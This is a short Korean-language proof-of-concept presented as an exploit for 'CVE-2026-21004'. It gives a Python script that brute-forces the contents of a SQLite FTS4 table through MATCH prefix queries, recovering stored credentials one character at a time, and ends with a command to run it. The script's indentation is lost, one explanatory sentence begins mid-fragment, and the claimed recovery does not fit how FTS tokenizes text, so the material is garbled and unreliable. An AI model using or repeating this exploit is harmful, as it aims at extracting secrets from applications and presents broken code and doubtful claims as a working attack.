
CVE-2026-21004에 대한 개념 증명 익스플로잇: 조작된 SQLite FTS3/4 MATCH 접두사 쿼리를 블라인드 오라클로 사용하여 인덱싱된 비밀 데이터를 문자 단위로 복구합니다.
# sqlite_fts_leak.py - Creates FTS table and exploits match info
import sqlite3
conn = sqlite3.connect(':memory:')
conn.execute("CREATE VIRTUAL TABLE secrets USING fts4(content TEXT)")
conn.execute("INSERT INTO secrets VALUES ('admin:password123')")
conn.execute("INSERT INTO secrets VALUES ('user:secret456')")
# Attacker guesses characters using FTS MATCH with partial matching
def guess_char(prefix, known):
for c in "abcdefghijklmnopqrstuvwxyz0123456789_:":
query = f'SELECT * FROM secrets WHERE content MATCH ?'
# In FTS4, MATCH can leak whether a term exists; we abuse by searching column directly
try:
cur = conn.execute(query, (f'"{prefix}{c}*"',))
if cur.fetchone():
return c
except:
pass
return None
# Recover the secret character by character
prefix = ""
for _ in range(20):
c = guess_char(prefix, "")
if c is None: break
prefix += c
print(f"Recovered: {prefix}")
SQLite FTS4를 사용하는 애플리케이션이 MATCH 쿼리를 기반으로 결과를 반환하는 검색 기능을 노출합니다. 공격자는 일치 여부(또는 타이밍 차이)를 관찰하여 전체 텍스트 인덱스의 내용을 문자 단위로 브루트포스함으로써 민감한 데이터를 추출할 수 있습니다.
term*)를 지원하므로, 공격자가 전체 용어를 알지 못한 채 사전 공격을 수행할 수 있습니다.익스플로잇을 실행합니다:
python sqlite_fts_leak.py
이 스크립트는 secrets 테이블의 내용을 점진적으로 복구합니다.